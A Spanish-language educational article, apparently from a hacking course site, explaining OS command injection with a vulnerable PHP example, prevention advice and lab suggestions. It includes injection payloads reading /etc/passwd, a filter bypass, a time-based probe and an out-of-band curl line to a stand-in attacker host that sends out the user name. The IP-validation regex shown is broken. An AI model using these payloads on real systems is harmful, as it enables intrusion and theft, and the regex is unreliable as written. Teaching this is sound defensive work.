La inyección de comandos (OS Command Injection) es una vulnerabilidad que permite a un atacante ejecutar comandos arbitrarios del sistema operativo en el servidor que aloja una aplicación web, porque la aplicación pasa datos no validados directamente a una llamada del sistema. Es una de las categorías de ataque más peligrosas del OWASP Top 10 y figura como CWE-78 en el catálogo MITRE, dentro del grupo de vulnerabilidades de inyección.
Qué es la inyección de comandos y por qué ocurre
Cuando una aplicación web necesita realizar operaciones del sistema (consultar el estado de red, comprimir archivos, enviar correos mediante un programa externo…), a veces los desarrolladores optan por la solución rápida: construir una cadena de texto con el comando y ejecutarla directamente en el shell del servidor.
El problema aparece cuando parte de esa cadena viene del usuario sin validar ni escapar. El sistema operativo interpreta el texto como una secuencia de instrucciones, y los metacaracteres del shell (;, |, && o `) permiten encadenar comandos adicionales que la aplicación nunca pretendió ejecutar.
Los factores que hacen que esta vulnerabilidad sea tan frecuente:
- Uso de funciones de tipo
exec(),system(),popen(),subprocesscon entrada del usuario. - Confianza excesiva en la validación de lado cliente (JavaScript).
- Ausencia de lista blanca (allow-list) de valores permitidos.
- Procesos del servidor corriendo con privilegios innecesariamente altos.
Cómo funciona: el shell como intermediario
Imagina una aplicación PHP que deja al usuario hacer ping a una dirección IP introducida en un formulario web:
<?php
// VULNERABLE: nunca hagas esto en producción
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>" . $output . "</pre>";
?>
Un usuario legítimo enviará 8.8.8.8 y verá la salida del ping. Pero un atacante puede enviar:
8.8.8.8; cat /etc/passwd
El shell interpreta esto como dos comandos separados por ;:
ping -c 4 8.8.8.8se ejecuta con normalidad.cat /etc/passwdtambién se ejecuta, y su contenido aparece en pantalla.
Otros metacaracteres frecuentes que usan los atacantes:
| Metacarácter | Función en el shell | Ejemplo de payload |
|---|---|---|
; |
Ejecuta el segundo comando siempre | 8.8.8.8; whoami |
| |
Pipe: pasa stdout del primero al segundo | 8.8.8.8 | id |
&& |
Ejecuta el segundo solo si el primero tuvo éxito | 8.8.8.8 && ls -la / |
|| |
Ejecuta el segundo solo si el primero falló | invalido || uname -a |
`…` |
Sustitución de subshell (backticks) | `whoami` |
$(…) |
Sustitución de subshell (forma moderna) | $(cat /etc/passwd) |
Diferencia entre Command Injection y Code Injection
Aunque suenan parecidas, son vulnerabilidades distintas:
- OS Command Injection (CWE-78): el atacante inyecta comandos del sistema operativo (bash, cmd.exe). La aplicación actúa como intermediaria hacia el shell del servidor.
- Code Injection (CWE-94): el atacante inyecta código en el lenguaje de la propia aplicación (PHP, Python, JavaScript...). La ejecución ocurre dentro del intérprete de la aplicación, no en el shell. Ejemplo clásico:
eval()con entrada del usuario en PHP.
En términos de impacto, ambas son críticas; yo diría que la inyección de comandos suele ser más directa, porque el atacante controla el sistema operativo desde el primer momento.
Práctica en laboratorio: cómo probarlo de forma ética
Existen entornos diseñados para practicar estas vulnerabilidades sin infringir ninguna ley. Nunca practiques en sistemas ajenos; toda prueba debe hacerse en entornos controlados y con permiso explícito.
Opción 1 — PortSwigger Web Security Academy (gratis)
PortSwigger ofrece laboratorios interactivos online sobre OS Command Injection. Accede en portswigger.net/web-security/os-command-injection y empieza por el lab "OS command injection, simple case". El objetivo: inyectar ; whoami en el parámetro de verificación de stock y confirmar que la respuesta incluye el nombre del usuario del sistema.
Opción 2 — DVWA (Damn Vulnerable Web Application)
DVWA es una aplicación web deliberadamente vulnerable que puedes instalar en local con Docker o XAMPP. Incluye un módulo "Command Injection" con tres niveles de dificultad (low / medium / high). En nivel low no hay filtro alguno y puedes encadenar comandos con ; directamente. En nivel medium el código intenta filtrar ;&&, pero se puede saltar con |.
Si quieres saber qué plataformas existen para practicar hacking de forma legal y segura, consulta nuestra guía de mejores plataformas para practicar hacking.
Cómo prevenir la inyección de comandos
"The most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code."
Esa es la regla de oro. En la práctica, las defensas se organizan en capas:
1. Evitar invocar el shell: usar APIs nativas del lenguaje
La mayoría de las operaciones que parecen "requerir" un comando del sistema tienen equivalentes en la propia librería estándar del lenguaje. En PHP, en lugar de shell_exec("ping " . $ip), usa sockets de red. En Python, en lugar de os.system("mkdir " + ruta), usa os.makedirs(ruta). Cuando necesites ejecutar un proceso externo, usa interfaces parametrizadas como subprocess.run(["ping", "-c", "4", ip]) en Python: el intérprete pasa cada argumento como elemento del array, sin pasar por un shell que interprete metacaracteres.
# SEGURO: subprocess con lista, sin shell=True
import subprocess
result = subprocess.run(
["ping", "-c", "4", ip], # ip es un argumento, no texto del shell
capture_output=True,
text=True,
timeout=10
)
2. Allow-list de entradas válidas
Si el parámetro solo puede ser una dirección IP, valídala con una expresión regular antes de usarla:
import re
if not re.fullmatch(r"(d{1,3}.){3}d{1,3}", ip):
raise ValueError("IP no válida")
Una lista blanca de valores explícitamente permitidos es siempre más robusta que una lista negra de caracteres prohibidos.
3. Nunca usar blacklists de metacaracteres como única defensa
Filtrar ; y | sin más no basta: existen decenas de variantes (%0a como newline URL-encoded, $IFS en bash, redirecciones >...). Los atacantes conocen estos bypass y los aplican de forma sistemática.
4. Mínimo privilegio del proceso
Si la aplicación corre como www-data sin acceso a directorios sensibles ni sudo, el daño que puede causar un comando inyectado queda limitado. El mínimo privilegio es la última línea de defensa cuando todo lo demás falla.
5. Escapado como medida adicional (no principal)
Si por razones de diseño no puedes evitar el shell, funciones como escapeshellarg() en PHP o shlex.quote() en Python envuelven el argumento entre comillas y escapan caracteres especiales. Úsalas, pero nunca como sustituto de las defensas anteriores.
Para una visión completa del hacking web y sus vectores de ataque, consulta nuestra guía completa de hacking web o accede directamente al curso de hacking web.
Errores comunes de los desarrolladores
- Blacklist incompleta: filtrar solo
;y&olvidando|, saltos de línea (%0a), backticks o$(). - Confiar en la validación del lado cliente: cualquier petición puede modificarse con un proxy como Burp Suite antes de llegar al servidor.
- Uso de
shell=Trueen Python:subprocess.run(cmd, shell=True)con entrada concatenada equivale aos.system()y anula por completo la protección. - No registrar errores: suprimir mensajes de error puede ocultar una explotación activa. Loguea internamente pero nunca muestres stack traces al usuario.
- Permisos de proceso excesivos: correr el servidor web como
rootconvierte cualquier command injection en compromiso total del sistema.
Command Injection ciega (Blind OS Command Injection)
En muchos escenarios reales la aplicación no muestra la salida del comando inyectado. A esto se le llama blind command injection, y requiere técnicas alternativas para confirmar si la vulnerabilidad existe:
Time-based
Se inyecta un comando que introduce un retardo y se mide el tiempo de respuesta del servidor:
ip=127.0.0.1; sleep 5 #
Si la respuesta tarda unos 5 segundos más de lo habitual, la inyección funciona aunque no haya salida visible.
Out-of-band (OOB)
Se fuerza al servidor a emitir tráfico hacia un servidor externo controlado por el atacante (por ejemplo con curl, wget o consultas DNS). Si el tráfico llega, la inyección es real. Herramientas como Burp Collaborator o interactsh se usan en pentesting para recibir esas conexiones:
; curl https://attacker-collaborator.net/$(whoami)
El subdominio de la petición DNS o HTTP revela el nombre de usuario del proceso sin que nada aparezca en la respuesta de la aplicación.
Vídeo recomendado
Para ver la vulnerabilidad en acción con un laboratorio de PortSwigger paso a paso en español:
📚 ¿Quieres practicarlo en un laboratorio legal, paso a paso? Lo trabajamos en el Módulo 9: Subida de archivos y ejecución remota (RCE) de nuestro Curso de Hacking Web.
Preguntas frecuentes
¿En qué se diferencia la inyección de comandos de la inyección SQL?
La inyección SQL apunta a la base de datos: el atacante manipula consultas SQL para extraer, modificar o borrar datos. La inyección de comandos apunta directamente al sistema operativo del servidor: el atacante ejecuta programas, lee archivos, crea usuarios o pivota a otras máquinas. El impacto de la inyección de comandos suele ser mayor porque da control sobre todo el servidor, más allá de la base de datos.
¿Es esta vulnerabilidad frecuente en aplicaciones reales?
Sigue apareciendo con regularidad, sobre todo en aplicaciones de administración de red, paneles de control de routers y dispositivos IoT, scripts de diagnóstico expuestos como API, y aplicaciones legacy escritas antes de que la seguridad fuera una prioridad. CWE-78 se mantiene en el MITRE Top 25 de debilidades más peligrosas año tras año.
¿Qué impacto puede tener un ataque de command injection exitoso?
En el peor caso: compromiso total del servidor (ejecución de código como root), robo de credenciales y datos, instalación de malware o backdoors, movimiento lateral a otros sistemas de la red interna, y uso del servidor como pivote para atacar terceros. OWASP clasifica esta vulnerabilidad en la categoría A03:2021 (Injection), de impacto alto.
¿Puede afectar a aplicaciones que no usan PHP?
Sin duda. La vulnerabilidad existe en cualquier lenguaje cuando se invoca el shell del sistema operativo con entrada no validada: Python (os.system, subprocess con shell=True), Java (Runtime.exec() con string concatenado), Node.js (child_process.exec()), Ruby (system(), backticks), Go (exec.Command mal usado), e incluso plantillas de infraestructura como código. El patrón se repite en todas partes.
¿Cómo puedo practicar sin arriesgarme a problemas legales?
Usa plataformas legales pensadas para ello: PortSwigger Web Security Academy (gratis, online), DVWA en local con Docker, HackTheBox o TryHackMe para entornos más avanzados. Nunca practiques en sistemas reales sin autorización escrita. En España, el acceso no autorizado a sistemas informáticos es delito tipificado en el artículo 197 bis del Código Penal, con penas de hasta dos años de prisión. Consulta nuestra guía de plataformas para practicar hacking de forma legal.
Aviso legal y ético
Los conceptos, ejemplos y técnicas de este artículo se dan con fines exclusivamente educativos. Aplicar estas técnicas contra sistemas ajenos sin autorización expresa y por escrito del propietario es un delito en España tipificado en el artículo 197 bis del Código Penal (acceso no autorizado a sistemas informáticos), con penas de prisión de hasta dos años. Practica siempre en entornos controlados y con permiso explícito. La responsabilidad del uso de esta información recae íntegramente en el lector.
